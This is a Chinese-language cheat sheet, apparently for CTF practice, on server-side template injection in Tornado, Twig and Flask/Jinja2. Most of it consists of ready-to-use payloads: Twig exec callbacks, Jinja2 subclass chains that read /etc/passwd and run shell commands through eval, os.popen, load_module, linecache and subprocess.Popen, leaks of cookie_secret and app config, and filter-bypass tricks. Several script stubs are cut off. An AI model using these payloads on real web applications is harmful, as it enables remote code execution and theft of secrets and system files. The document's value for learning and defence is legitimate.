
SSTI模板注入
常见SSTI
区别PHP和python模板注入
若输入49
返回 49 -> Twig
返回 7777777-> Jinja2
SSTI in Tornado
在tornado模板中,可以通过handler.settings访问到环境配置的信息
通过模板注入方式我们可以构造获取cookie_secret
1 | {{handler.settings}} |
例题([护网杯 2018]easy_tornado 1):
本题关键点在找到cookie_secret 利用模板注入即可
SSTI in Twig
payload:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
SSTI in Flask
渲染方法:
渲染字符串
1 | aaa = '<h1>aaa</h1>' |
渲染指定文件
1 | return render_template('index.html') |
原理
不正确的使用flask的render_template_string
方法
1 | from flask import Flask,render_template_string, request |
思路:
找到父类<type 'object'>
—> 找子类 —> 找关于命令执行或者文件操作的模块
基础
1 | {{config}}可以获取当前设置 |
基于类的模板注入
常用魔术方法
__class__
1 | ''.__class__ |
<class ‘str’>
__bases__
查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,返回所有直接父类组成的元组
因为元组内只有一个元素,所有返回[0]是第一个元素
1 | "".__class__.__bases__ |
<class ‘object’,>
1 | "".__class__.__bases__[0] |
<class ‘object’>
直接获取基类
1 | "".__class__.__base__ |
<class ‘object’>
__mro__
获取一个类的调用顺序
1 | "".__class__.__mro__ |
<class ‘str’>,<class ‘object’>
__subclasses__
获取一个类的所有子类
1 | "".__class__.__subclasses__() |
查看当前类的子类组成的列表,即返回基类Object的所有子类
1 | "".__class__.__bases__[0].__subclasses__() |
1 | object.__subclasses__() |
1 | "".__class__.__mro__[-1].__subclasses__() |
__builtins__
方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。
__globals__
该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__import__()
该方法用于动态加载类和函数。
如果一个模块经常变化就可以使用 __import__() 来动态载入,就是 import。
语法:__import__(模块名)
利用SSTI读取文件
python2
利用__subclasses__查子类时,索引号40指向file类
读取文件:
1 | {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}} |
python3
利用<class '_frozen_importlib_external.FileLoader'>
读取
写脚本遍历查找索引号
1 | import requests |
得到编号后payload
1 | {{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0 , "/etc/passwd")}} |
利用SSTI执行命令
寻找内建函数eval执行命令
1 | import requests |
得到编号后payload
1 | {{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
1 | 含eval的类: |
寻找内建函数os执行命令
os模块中有system和popen可以执行
system配合curl
1 | import requests |
得到编号后payload
1 | {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}} |
寻找内建函数popen执行命令
1 | import requests |
payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}} |
寻找 importlib 类执行命令
<class ‘frozenm_importlib.BuiltinImporter’> 提供__import_
利用load_module将os模块导入
1 | import requests |
payload:
1 | {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}} |
寻找linecache函数执行命令
linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
1 | import requests |
payload:
1 | {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}} |
1 | {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}} |
寻找 subprocess.Popen 类执行命令
存在os.system、os.popen 等函数
1 | import requests |
payload:
1 | {{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} |
基于函数的模板注入
{{config}}
-> Flask中的全局变量
获取配置信息
config
若题目中有类似app.config['FLAG']=os.environ.pop('FLAG')
可以直接访问{{config['FLAG']}}
或者{{config.FLAG}}
来获取flag
request
查询配置信息
1 | {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}} |
构造payload
1 | {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} |
url_for
1 | {{url_for.globals__.os.popen('whoami').read()}} |
查询配置信息
config被过滤之后也可以用,因为这里的config不用做变量,是current_app的属性
1 | {{url_for.__globals__['current_app'].config}} |
构造payload
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
get_flashed_messages
查询配置信息
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
构造payload
1 | {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}} |
特殊姿势 与查配置信息差不多
1 | {{url_for.__globals__['current_app'].config.FLAG}} |
有长度限制 set + update绕过
1 | {% set a = [].__class__ %} |
过滤
过滤了.
|attr("")
来绕过